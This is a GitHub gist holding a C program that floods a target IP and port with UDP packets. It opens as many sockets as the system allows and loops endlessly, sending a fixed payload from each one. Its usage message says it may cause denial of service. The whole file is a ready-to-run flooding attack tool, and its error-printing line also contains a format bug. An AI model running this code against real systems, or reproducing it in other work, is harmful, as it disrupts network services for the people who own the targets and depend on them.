Skip to content

Instantly share code, notes, and snippets.

@annmuor
Created May 12, 2016 13:29
Show Gist options
  • Save annmuor/7e5634cad1fc0e02ffb234da52c353e0 to your computer and use it in GitHub Desktop.
Save annmuor/7e5634cad1fc0e02ffb234da52c353e0 to your computer and use it in GitHub Desktop.
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <errno.h>
#include <strings.h>
#define REASON_NO_SUCH_PORT 1
#define REASON_RESOURCE_UNAVAILABLE 2
#define REASON_TRANSMIT_QUEUE_FULL 4
#define REASON_MESSAGE_TOO_LONG 8
#define REASON_GENERAL_NETWORK 16
#define SOCK_MAX 65535
static int _sendto(int sock, const char *ip, const unsigned short port, void *message, size_t size) {
static struct sockaddr_in in;
int reason = 0;
int err;
bzero(&in, sizeof(struct sockaddr_in));
in.sin_family = AF_INET;
in.sin_port = htons(port);
inet_aton(ip, &in.sin_addr);
if(sendto(sock, message, size, 0, (struct sockaddr *)&in, sizeof(struct sockaddr_in)) == -1) {
err = errno;
switch (err) {
case ECONNREFUSED: reason = REASON_NO_SUCH_PORT; break;
case EAGAIN: reason = REASON_RESOURCE_UNAVAILABLE; break;
case ENOBUFS: reason = REASON_TRANSMIT_QUEUE_FULL; break;
case EMSGSIZE: reason = REASON_MESSAGE_TOO_LONG; break;
default: reason = REASON_GENERAL_NETWORK; break;
}
}
if (reason != 0) {
printf( "PacketSender::basicSendSingleTry( %s ): "
"Packet to %s:%d: Could nowot send: %s ;; reason = %d\n",
sock, ip, port, strerror( err ), reason );
}
return reason;
}
static int _socket() {
return socket(AF_INET, SOCK_DGRAM, 0);
}
int main(int argc, char **argv) {
int sockets[SOCK_MAX], sock_max = 0, sock;
if(argc < 3) {
printf("Usage: %s <ip> <port>\n", *argv);
printf("Will send as many as can messages from various sockets to the target system\n");
printf("Cauton: may cause to DoS\n");
return 0;
}
while((sock = _socket()) != -1 && sock_max < SOCK_MAX) {
sockets[sock_max++] = sock;
}
printf("Created %d sockets\n", sock_max);
// TODO: generate payload
// static now - i'm lazy
while(1) {
for(int i = 0; i < sock_max; i++) {
_sendto(sockets[i], argv[1], (unsigned short)atoi(argv[2]), "SomePayload", 11);
}
}
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment